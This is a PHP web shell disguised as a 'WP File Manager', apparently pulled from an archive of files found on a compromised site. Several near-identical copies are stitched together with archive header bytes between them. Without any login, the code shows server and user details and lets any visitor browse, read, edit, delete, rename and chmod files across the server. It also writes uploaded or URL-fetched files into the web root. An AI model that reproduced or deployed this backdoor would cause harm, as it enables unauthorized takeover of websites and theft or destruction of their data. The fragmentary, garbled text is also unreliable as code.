📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ë info@liridonigraphics.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ë info@liridonigraphics.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
